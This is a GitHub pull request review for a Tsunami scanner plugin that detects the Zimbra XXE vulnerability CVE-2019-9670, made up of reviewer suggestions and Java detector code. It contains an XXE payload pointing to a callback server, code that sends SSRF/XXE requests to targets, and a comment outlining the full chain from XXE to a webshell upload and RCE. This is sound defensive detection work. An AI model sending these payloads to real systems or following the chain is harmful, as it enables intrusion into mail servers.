Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2019-9670 Zimbra XXE Detector #580

Open
wants to merge 5 commits into
base: master
Choose a base branch
from

Conversation

LeonardoE95
Copy link
Contributor

Hi there,

This PR contains the implementation for the CVE-2019-9670 detector.

Below it is possible to find the necessary information for review:

Thank you.

@giacomo-doyensec
Copy link
Collaborator

Hello @LeonardoE95, thanks for your contribution!

I reviewed your plugin and found that while the detection is working, it would be better to leverage Tsunami’s built-in mechanism. A simple way to implement out-of-band (OOB) detection is by including an external DTD pointing to the callback server:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://tsunami-callback-server:port/?secret=zimbraXXE">]>
<Request>
<EMailAddress>email</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>

If the callback server is enabled, Tsunami should generate a OOB payload for your template; otherwise, it can fall back to a reflective approach.

For reference, you can check these PRs:

  • private boolean isServiceVulnerable(NetworkService networkService) {
    PayloadGeneratorConfig config =
    PayloadGeneratorConfig.newBuilder()
    .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE)
    .setInterpretationEnvironment(
    PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
    .setExecutionEnvironment(
    PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
    .build();
    Payload payload = payloadGenerator.generate(config);
    String cmd = payload.getPayload();
    HttpResponse response = null;
    String targetVulnerabilityUrl =
    NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_REQUEST_PATH;
    try {
    response =
    httpClient.send(
    post(targetVulnerabilityUrl)
    .withEmptyHeaders()
    .setRequestBody(
    ByteString.copyFromUtf8(
    String.format(
    HTTP_PARAMETERS, URLEncoder.encode(cmd, StandardCharsets.UTF_8))))
    .build(),
    networkService);
    } catch (IOException | AssertionError e) {
    logger.atWarning().withCause(e).log("Request to target %s failed", networkService);
    }
    if (response == null || response.bodyString().isEmpty()) {
    return false;
    }
    if (payload.getPayloadAttributes().getUsesCallbackServer()) {
    logger.atInfo().log("Waiting for RCE callback.");
    Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
    }
    return payload.checkIfExecuted(response.bodyString().get());
    }
  • private boolean isServiceVulnerable(NetworkService networkService) {
    // Fetch the version of the running Magento instance
    this.detectedMagentoVersion = detectMagentoVersion(networkService);
    // Generate the payload for the callback server
    PayloadGeneratorConfig config =
    PayloadGeneratorConfig.newBuilder()
    .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
    .setInterpretationEnvironment(
    PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
    .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
    .build();
    String oobCallbackUrl = "";
    Payload payload = null;
    // Check if the callback server is available, fallback to response matching if not
    try {
    payload = this.payloadGenerator.generate(config);
    // Use callback for RCE confirmation and raise severity on success
    if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) {
    logger.atWarning().log(
    "Tsunami Callback Server not available: detector will use response matching only.");
    responseMatchingOnly = true;
    } else {
    oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload());
    }
    } catch (NotImplementedException e) {
    responseMatchingOnly = true;
    }
    // Build the XML XXE payload
    // Note: when the callback server is not available, oobCallbackUrl will be an empty string.
    // This is fine, as in that case we only care about the HTTP response, the contents of the
    // payload don't really matter.
    String xxePayload =
    PAYLOAD_TEMPLATE
    .replace("{OOB_CALLBACK}", oobCallbackUrl)
    .replace("{DTD_FILE}", DTD_FILE_URL);
    // Wrap the XXE payload in a JSON object
    String jsonPayload = getJsonPayload(xxePayload);
    // Send the malicious HTTP request
    boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload);
    // No need to wait for the callback when the callback server is not available
    if (responseMatchingOnly) {
    if (responseMatchingVulnerable) {
    logger.atInfo().log("Vulnerability confirmed via response matching.");
    }
    return responseMatchingVulnerable;
    }
    logger.atInfo().log("Waiting for XXE callback.");
    Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
    // payload should never be null here as we should have already returned in that case
    verify(payload != null);
    if (payload.checkIfExecuted()) {
    logger.atInfo().log("Vulnerability confirmed via Callback Server.");
    return true;
    } else if (responseMatchingVulnerable) {
    logger.atWarning().log(
    "HTTP response seems vulnerable, but no callback was received. Other mitigations may have"
    + " been applied.");
    return false;
    } else {
    logger.atInfo().log(
    "Callback not received and response does not match vulnerable instance, instance is not"
    + " vulnerable.");
    return false;
    }
    }

Feel free to reach out if you have any questions - I’d be happy to provide more details and assistance.

@LeonardoE95
Copy link
Contributor Author

Hi @giacomo-doyensec!

Added the OOB detection strategy if the callback server is available.
Added new test cases.

Copy link
Collaborator

@giacomo-doyensec giacomo-doyensec left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @LeonardoE95, thanks for the updates!

With my suggestion, I was hoping to unify the detection logic for both cases. However, while reviewing the isServiceVulnerable function, I found that the default payload for SSRF that does not use the callback server relies on http://public-firing-range.appspot.com/. The response contains HTML tags, which in the case of an XXE prevents us from using the same template and detection logic for both approaches. The reflected one will return the same error as the patched version: Body cannot be parsed.

For now, we can stick with the "two templates approach". The suggested implementation will be easier to modify if the default behavior ever changes in our favor.

Other changes include:

  • The use of annotations in oobSleepDuration within sleepUninterruptibly. This is required when running tests (please update them where needed). More details on how to implement annotations for injecting the sleep duration can be found in this comment by one of my colleagues. You will also need to add dependencies to the build.gradle file.
  • Some minor fixes to the isZimbra fingerprint function.

As a last suggestion, consider merging the tests into a single file named Cve20199670DetectorTest.java.

Let me know if anything isn't clear, and I'll be happy to provide additional information!

Specifically, by using the XXE (CVE-2019-9670) it is possible to read a configuration file that contains an LDAP password for the zimbra account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a SSRF (CVE-2019-9621) in the Proxy Servlet is used to proxy an AuthRequest with the zimbra credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is used to upload a JSP webshell that can be triggered from the web server to obtain RCE.

**Affected Versions**
:-----:|
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
:-----:|

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Solved.

Comment on lines 123 to 130

@Inject
Cve20199670Detector(
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
this.utcClock = checkNotNull(utcClock);
this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build();
this.payloadGenerator = checkNotNull(payloadGenerator);
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Introduce oobSleepDuration to allow a more configurable implementation

Suggested change
@Inject
Cve20199670Detector(
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
this.utcClock = checkNotNull(utcClock);
this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build();
this.payloadGenerator = checkNotNull(payloadGenerator);
}
private final int oobSleepDuration;
@Inject
Cve20199670Detector(
@UtcClock Clock utcClock,
HttpClient httpClient,
PayloadGenerator payloadGenerator,
@OobSleepDuration int oobSleepDuration) {
this.utcClock = checkNotNull(utcClock);
this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build();
this.payloadGenerator = checkNotNull(payloadGenerator);
this.oobSleepDuration = oobSleepDuration;
}

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added Annotation support for oobSleepDuration as requested.

Comment on lines 153 to 155
try {
HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();
HttpResponse response = response = this.httpClient.send(request, networkService);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
try {
HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();
HttpResponse response = response = this.httpClient.send(request, networkService);
HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();
try {
HttpResponse response = this.httpClient.send(request, networkService);

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Solved.

(response.status().code() == 200)
&& response.bodyString().map(body -> body.contains(ZIMBRA_FINGERPRING)).orElse(false);
} catch (IOException e) {
return false;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return false;
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Logs added to catch blocks.

Comment on lines 164 to 170
targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
try {
HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();
HttpResponse response = response = this.httpClient.send(request, networkService);
isZimbra = isZimbra && (response.status().code() == 200);
} catch (IOException e) {
return false;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
try {
HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();
HttpResponse response = response = this.httpClient.send(request, networkService);
isZimbra = isZimbra && (response.status().code() == 200);
} catch (IOException e) {
return false;
targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
request = HttpRequest.get(targetUri).withEmptyHeaders().build();
try {
HttpResponse response = this.httpClient.send(request, networkService);
isZimbra &= response.status().code() == 200;
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Solved.

Comment on lines 176 to 182
private boolean isServiceVulnerable(NetworkService networkService) {
if (payloadGenerator.isCallbackServerEnabled()) {
return testWithCallbackServer(networkService);
} else {
return testWithoutCallbackServer(networkService);
}
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here is my suggested implementation of the isServiceVulnerable function.

Suggested change
private boolean isServiceVulnerable(NetworkService networkService) {
if (payloadGenerator.isCallbackServerEnabled()) {
return testWithCallbackServer(networkService);
} else {
return testWithoutCallbackServer(networkService);
}
}
private boolean isServiceVulnerable(NetworkService networkService) {
PayloadGeneratorConfig config =
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
.setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
.build();
Payload payload = payloadGenerator.generate(config);
String callbackUrl = payload.getPayload();
String xmlPayload;
if (payload.getPayloadAttributes().getUsesCallbackServer()) {
xmlPayload = String.format(PAYLOAD_TEMPLATE_OOB, callbackUrl);
} else {
xmlPayload = String.format(PAYLOAD_TEMPLATE_REFLECTED, callbackUrl);
}
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
HttpRequest request = prepareRequest(targetUri, xmlPayload);
HttpResponse response = null;
try {
response = httpClient.send(request, networkService);
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
}
if (response == null || response.bodyString().isEmpty()) {
// This may be a situation where error handling and logging are needed.
return false;
}
if (payload.getPayloadAttributes().getUsesCallbackServer()) {
logger.atInfo().log("Waiting for RCE callback.");
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
return payload.checkIfExecuted(response.bodyString().get());
}
return response.bodyString().get().contains(callbackUrl);
}

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Both cases have now been merged into isServiceVulnerable.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here I've omitted the line if (response == null || response.bodyString().isEmpty()).

Thinking is that no exception has been launched by the httpClient.send method at that point, therefore the response should not be null. And if it is empty, the current code will cover that case and return false.

Rest was adjusted as suggested, thanks!

Copy link
Contributor Author

@LeonardoE95 LeonardoE95 Feb 5, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The line payload.checkIfExecuted(response.bodyString().get()) has also been changed to remove the arguments into payload.checkIfExecuted(), to force the scanner to check with the callback server.

This might not be completely required, however I wanted to be more explicit about it.

Comment on lines 184 to 248
private boolean testWithCallbackServer(NetworkService networkService) {
boolean isVulnerable = false;

if (!payloadGenerator.isCallbackServerEnabled()) {
// Callback server is required
return false;
}

PayloadGeneratorConfig config =
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
.setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
.build();
Payload payload = payloadGenerator.generate(config);
if (!payload.getPayloadAttributes().getUsesCallbackServer()) {
// Callback server is required
return false;
}

// Construct the payload with URL that points to callback server
String oobCallbackUrl = payload.getPayload();
String oobPayload = String.format(PAYLOAD_TEMPLATE_OOB, oobCallbackUrl);
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
HttpRequest request = prepareRequest(targetUri, oobPayload);

try {
HttpResponse response = httpClient.send(request, networkService);
logger.atInfo().log("Waiting for XXE callback.");
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10));
isVulnerable = payload.checkIfExecuted();
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;
}

return isVulnerable;
}

private boolean testWithoutCallbackServer(NetworkService networkService) {
boolean isVulnerable = false;

String reflectedPayload = String.format(PAYLOAD_TEMPLATE_REFLECTED, TEST_STRING);
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
HttpRequest request = prepareRequest(targetUri, reflectedPayload);

try {
HttpResponse response = httpClient.send(request, networkService);
isVulnerable =
(response.status().code() == 503)
&& response
.bodyString()
// To decrease false positive rate, match also with specific error message
.map(body -> (body.contains(TEST_STRING) && body.contains(ERROR_MSG)))
.orElse(false);
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;
}

return isVulnerable;
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can remove these functions altogether since they are now merged into the caller.

Suggested change
private boolean testWithCallbackServer(NetworkService networkService) {
boolean isVulnerable = false;
if (!payloadGenerator.isCallbackServerEnabled()) {
// Callback server is required
return false;
}
PayloadGeneratorConfig config =
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
.setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
.build();
Payload payload = payloadGenerator.generate(config);
if (!payload.getPayloadAttributes().getUsesCallbackServer()) {
// Callback server is required
return false;
}
// Construct the payload with URL that points to callback server
String oobCallbackUrl = payload.getPayload();
String oobPayload = String.format(PAYLOAD_TEMPLATE_OOB, oobCallbackUrl);
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
HttpRequest request = prepareRequest(targetUri, oobPayload);
try {
HttpResponse response = httpClient.send(request, networkService);
logger.atInfo().log("Waiting for XXE callback.");
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10));
isVulnerable = payload.checkIfExecuted();
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;
}
return isVulnerable;
}
private boolean testWithoutCallbackServer(NetworkService networkService) {
boolean isVulnerable = false;
String reflectedPayload = String.format(PAYLOAD_TEMPLATE_REFLECTED, TEST_STRING);
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + AUTODISCOVER_PATH;
HttpRequest request = prepareRequest(targetUri, reflectedPayload);
try {
HttpResponse response = httpClient.send(request, networkService);
isVulnerable =
(response.status().code() == 503)
&& response
.bodyString()
// To decrease false positive rate, match also with specific error message
.map(body -> (body.contains(TEST_STRING) && body.contains(ERROR_MSG)))
.orElse(false);
} catch (IOException e) {
logger.atWarning().withCause(e).log("Request to target '%s' failed", targetUri);
return false;
}
return isVulnerable;
}

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Both cases have now been merged into isServiceVulnerable.

protected void configurePlugin() {
registerPlugin(Cve20199670Detector.class);
}
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here, the configurations related to the oobSleepDuration variable introduced in the detector can be added.

Suggested change
}
@Provides
@OobSleepDuration
int provideOobSleepDuration(Cve20199670DetectorConfigs configs) {
if (configs.oobSleepDuration == 0) {
return 10;
}
return configs.oobSleepDuration;
}
}

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added Annotation support for oobSleepDuration as requested.

Copy link
Collaborator

@giacomo-doyensec giacomo-doyensec left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you! Once you apply this two typo fixes down below, I believe we've addressed everything.

HttpRequest request = HttpRequest.get(targetUri).withEmptyHeaders().build();

try {
HttpResponse response = response = this.httpClient.send(request, networkService);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
HttpResponse response = response = this.httpClient.send(request, networkService);
HttpResponse response = this.httpClient.send(request, networkService);

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed typo.

request = HttpRequest.get(targetUri).withEmptyHeaders().build();

try {
HttpResponse response = response = this.httpClient.send(request, networkService);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
HttpResponse response = response = this.httpClient.send(request, networkService);
HttpResponse response = this.httpClient.send(request, networkService);

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed typo.

@giacomo-doyensec
Copy link
Collaborator

LGTM - Approved
@maoning we can merge this and google/security-testbeds#113

Reviewer: Giacomo, Doyensec
Plugin: CVE-2019-9670 - Zimbra XXE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants